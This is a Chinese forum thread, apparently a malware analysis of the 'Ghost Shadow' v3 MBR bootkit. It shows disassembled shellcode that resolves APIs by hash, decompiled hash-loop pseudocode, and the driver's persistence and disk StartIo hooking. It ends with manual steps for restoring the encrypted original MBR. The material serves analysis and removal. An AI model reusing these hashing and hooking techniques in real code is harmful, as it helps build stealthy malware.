seg000:000001D5 jz loc_108 ; 判断是否成功
seg000:000001DB mov ebx, eax
seg000:000001DD add ebx, 4D5h
seg000:000001E3 lea ecx,
seg000:000001E6 push 7E3ACF7h ; 这个Hash是ZwWriteFile
seg000:000001EB call _GetPeExport
seg000:000001F0 push 0
seg000:000001F5 push 0
seg000:000001FA push 1A00h
seg000:000001FF push ebx
seg000:00000200 push ecx
seg000:00000201 push 0
seg000:00000206 push 0
seg000:0000020B push 0
seg000:00000210 push dword ptr
seg000:00000213 call eax ; ZwWriteFile();
seg000:00000215 push 0FD929378h ; 这个Hash是ZwClose
seg000:0000021A call _GetPeExport
seg000:0000021F push dword ptr
seg000:00000222 call eax ; ZwClose();
seg000:00000224 leave
seg000:00000225 popa
seg000:00000226 retn 4
以下为通过搜索PE导出表的INT进行HASH对比来得到对应的IAT,以便后面使用函数(比较经典的shellcode为了缩小体积获取API的方法),Hash的算法为循环左移7位。
do
{
v8 = *(_DWORD *)v7;
v7 += 4;
v11 = v4;
do
{
LOBYTE(v3) = *(_BYTE *)v8++;
v4 = __ROR__(v4 - v3, 7); // hash算法
}
while ( v3 );
v9 = v4 == 0;
v4 = v11;
--v6;
}
while ( v9 && v6 ); 没看懂,很厉害的样子! 楼主太专业了 如何获得以上数据的? 先收集了学习下。。。。。{:1_918:} 膜拜大牛曾经中过鬼影 lz 分析好详细~ 看看,提高自身技术{:1_918:} 本帖最后由 willJ 于 2013-8-8 15:03 编辑
1、开启一个线程
2、删除"\SystemRoot\system32\drivers\beep.sys",设置启动注册表"\\Registry\\Machine\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",键值为"Alg",指向的文件为"C\\alg.exe",创建文件"C:\\alg.exe"。
3、打开"\\??\\PhysicalDrive0",获得disk.sys驱动对象的DriverStartIo,使用_InterlockedExchange将病毒VisrusStartIo与DriverStartIo进行交换,达到Hook StartIo效果。
4、VirusStartIo保护病毒所在磁盘位置,将所有写操作改为读操作返回。
本帖最后由 willJ 于 2013-5-3 12:05 编辑
鬼影3代手动修复方案
(1)结束并删除恶意程序(2)删除启动项(3)恢复驱动钩子,因为这个钩子对MBR做了过滤操作,如果直接覆盖MBR会失败。(4)根据母体的计算位置找到原始存储MBR的地方。我的硬盘有40G,所以存放在了9FFA9280字节处。(5)解密原始MBR,解密算法循环右移动73H。以下左边是正常MBR,右边是加密的MBR。(6)使用WinHex恢复MBR
虽然看不懂但我知道这是精华 都是大同小异...... 这个必须围观 MBR感染没工具修复起来麻烦。。 好厉害啊,要向楼主学习